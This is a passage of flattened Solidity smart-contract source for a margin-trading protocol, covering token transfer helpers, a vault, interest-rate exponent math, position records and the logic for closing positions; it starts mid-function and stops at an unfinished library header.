address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
